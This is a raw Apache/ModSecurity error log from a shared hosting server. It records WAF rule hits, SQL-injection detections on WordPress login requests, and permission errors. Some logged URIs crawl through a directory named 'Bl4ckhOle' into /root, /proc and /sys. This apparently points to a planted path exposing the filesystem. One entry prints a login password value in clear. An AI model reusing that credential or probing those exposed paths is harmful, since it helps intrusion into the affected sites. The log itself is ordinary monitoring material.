[Fri Jul 17 08:03:39.099378 2026] [security2:error] [pid 1994966:tid 1994966] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUg7yEqmgiTSUa55oDCAAAABA"], referer: http://www.anandaobauae.org/?148.251.69.136uploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:03:39.099450 2026] [security2:error] [pid 1994966:tid 1994966] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUg7yEqmgiTSUa55oDCAAAABA"], referer: http://www.anandaobauae.org/?148.251.69.136uploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:03:41.005267 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/recode-sr-latin"] [unique_id "almUhXRlmrtCoY_COpcdXAAAAAg"]
[Fri Jul 17 08:03:41.005621 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/recode-sr-latin"] [unique_id "almUhXRlmrtCoY_COpcdXAAAAAg"]
[Fri Jul 17 08:03:41.005961 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/recode-sr-latin"] [unique_id "almUhXRlmrtCoY_COpcdXAAAAAg"]
[Fri Jul 17 08:03:41.811361 2026] [security2:error] [pid 1993570:tid 1993570] [client 178.128.28.24:0] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'novc' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "66"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: novc found within ARGS:pwd: hash_digital!@#"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "neotechlk.com"] [uri "/wp-login.php"] [unique_id "almUhXjA8yK8B7kryx3cpQAAAAk"], referer: https://neotechlk.com/wp-login.php
[Fri Jul 17 08:03:41.811792 2026] [security2:error] [pid 1993570:tid 1993570] [client 178.128.28.24:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "neotechlk.com"] [uri "/wp-login.php"] [unique_id "almUhXjA8yK8B7kryx3cpQAAAAk"], referer: https://neotechlk.com/wp-login.php
[Fri Jul 17 08:03:42.077015 2026] [security2:error] [pid 1993570:tid 1993570] [client 178.128.28.24:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "neotechlk.com"] [uri "/wp-login.php"] [unique_id "almUhXjA8yK8B7kryx3cpQAAAAk"], referer: https://neotechlk.com/wp-login.php
[Fri Jul 17 08:03:42.439536 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:42.717165 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:66/subsystem/input3/capabilities/abs"] [unique_id "almUhoha5y5fYnQ1qRrqzAAAAAE"]
[Fri Jul 17 08:03:42.717199 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:66/subsystem/input3/capabilities/abs"] [unique_id "almUhoha5y5fYnQ1qRrqzAAAAAE"]
[Fri Jul 17 08:03:42.908373 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:45.139559 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:45.591796 2026] [security2:error] [pid 1999089:tid 1999089] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty35/subsystem/tty33/dev"] [unique_id "almUiUMCK1PbyQ2qe6D9QgAAABQ"]
[Fri Jul 17 08:03:45.591834 2026] [security2:error] [pid 1999089:tid 1999089] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty35/subsystem/tty33/dev"] [unique_id "almUiUMCK1PbyQ2qe6D9QgAAABQ"]
[Fri Jul 17 08:03:45.644238 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:34058] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:46.137872 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:34092] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:48.373138 2026] [security2:error] [pid 1994967:tid 1994967] [client 57.141.18.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory21/subsystem/devices/memory6/node0/subsystem/devices/node0/memory51/node0/memory97/"] [unique_id "almUjEhq6UAnqYko0LpSAwAAABE"]
[Fri Jul 17 08:03:48.373182 2026] [security2:error] [pid 1994967:tid 1994967] [client 57.141.18.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory21/subsystem/devices/memory6/node0/subsystem/devices/node0/memory51/node0/memory97/"] [unique_id "almUjEhq6UAnqYko0LpSAwAAABE"]
[Fri Jul 17 08:03:48.806716 2026] [ssl:error] [pid 1993571:tid 1993571] (70014)End of file found: [client 66.85.158.91:34244] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:49.241826 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:34266] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:49.509262 2026] [security2:error] [pid 1993671:tid 1993671] [client 152.228.213.32:0] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'n&1' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "66"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: n&1 found within REQUEST_COOKIES:wordpress_wp_travel_engine_session: d00fe08190d75cc091dc735ebacd6d0e||1784257429||1784257069"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/wp-login.php"] [unique_id "almUjQ5GPQ6hs4VrfMo49gAAAAY"], referer: https://2s-travels.com/wp-login.php
[Fri Jul 17 08:03:49.509855 2026] [security2:error] [pid 1993671:tid 1993671] [client 152.228.213.32:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wp-login.php"] [unique_id "almUjQ5GPQ6hs4VrfMo49gAAAAY"], referer: https://2s-travels.com/wp-login.php
[Fri Jul 17 08:03:49.855312 2026] [security2:error] [pid 1993671:tid 1993671] [client 152.228.213.32:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/wp-login.php"] [unique_id "almUjQ5GPQ6hs4VrfMo49gAAAAY"], referer: https://2s-travels.com/wp-login.php
[Fri Jul 17 08:03:51.132833 2026] [security2:error] [pid 1994967:tid 1994967] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almUjkhq6UAnqYko0LpSBgAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1074&page_105=1529
[Fri Jul 17 08:03:51.132881 2026] [security2:error] [pid 1994967:tid 1994967] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almUjkhq6UAnqYko0LpSBgAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1074&page_105=1529
[Fri Jul 17 08:03:52.422352 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:52.422451 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:52.988826 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:38/subsystem/ttyS3/flags
[Fri Jul 17 08:03:53.278618 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:40228] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:53.429758 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:40234] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:53.623602 2026] [security2:error] [pid 1993998:tid 1993998] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almUkGidQp3SsqeycPEoDAAAAAo"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1307&page_105=1120
[Fri Jul 17 08:03:53.623746 2026] [security2:error] [pid 1993998:tid 1993998] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almUkGidQp3SsqeycPEoDAAAAAo"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1307&page_105=1120
[Fri Jul 17 08:03:53.846956 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:40256] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:54.111489 2026] [core:error] [pid 1993573:tid 1993573] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:33/subsystem/ttyS0/flags
[Fri Jul 17 08:03:54.534121 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almUkXRlmrtCoY_COpcdawAAAAg"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=2141&page_105=3017
[Fri Jul 17 08:03:54.534192 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almUkXRlmrtCoY_COpcdawAAAAg"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=2141&page_105=3017
[Fri Jul 17 08:03:54.978490 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:40306] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:55.137038 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:55.276960 2026] [security2:error] [pid 1993659:tid 1993659] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almUkpOFLENLI63GGOEFfAAAAAQ"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1071&page_105=1533
[Fri Jul 17 08:03:55.277135 2026] [security2:error] [pid 1993659:tid 1993659] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almUkpOFLENLI63GGOEFfAAAAAQ"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1071&page_105=1533
[Fri Jul 17 08:03:55.413115 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:55.775796 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:40372] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:03:57.280003 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:57.640219 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:03:58.748533 2026] [security2:error] [pid 1993571:tid 1993571] [client 57.141.18.114:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory124/node0/memory119/node0/memory85/node0/memory111/"] [unique_id "almUlunUgtv5ujFYWh_q4AAAAA0"]
[Fri Jul 17 08:03:58.750845 2026] [security2:error] [pid 1993571:tid 1993571] [client 57.141.18.114:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory124/node0/memory119/node0/memory85/node0/memory111/"] [unique_id "almUlunUgtv5ujFYWh_q4AAAAA0"]
[Fri Jul 17 08:04:00.534358 2026] [ssl:error] [pid 1993571:tid 1993571] (70014)End of file found: [client 66.85.158.91:40612] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:04:00.726706 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:00.985428 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:40626] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:04:10.146034 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:10.245660 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:11.104905 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty34/subsystem/tty14/dev"] [unique_id "almUoxAi3pC6yjXGNq14hwAAAAU"]
[Fri Jul 17 08:04:11.104964 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty34/subsystem/tty14/dev"] [unique_id "almUoxAi3pC6yjXGNq14hwAAAAU"]
[Fri Jul 17 08:04:12.025245 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:12.025316 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:12.025425 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:12.997035 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:38162] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:04:13.326863 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:38196] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:04:14.443373 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:38246] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:04:14.904707 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:14.904788 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:14.904961 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:15.078398 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:15.320725 2026] [ssl:error] [pid 1993571:tid 1993571] (70014)End of file found: [client 66.85.158.91:38266] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:04:15.816513 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:16.552547 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:17.392721 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:20.904773 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUrA5GPQ6hs4VrfMo5EgAAAAY"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:04:20.904955 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUrA5GPQ6hs4VrfMo5EgAAAAY"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:04:21.424551 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUrY1dLClkUfK_dfHcaQAAAAI"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:04:21.424584 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUrY1dLClkUfK_dfHcaQAAAAI"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:04:26.521958 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:54368] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:04:26.579154 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:26.766592 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:27.316828 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:27.319911 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:27.990340 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:28.126818 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:54448] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:04:28.225439 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:28.380107 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:28.432014 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:28.526718 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:30.393426 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:30.523568 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:30.648787 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:30.685960 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:30.783635 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:31.137780 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:31.171086 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:31.536807 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:31.759776 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:32.012509 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:32.227953 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:34.240467 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:36740] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:04:34.838259 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:34.969772 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:35.355582 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
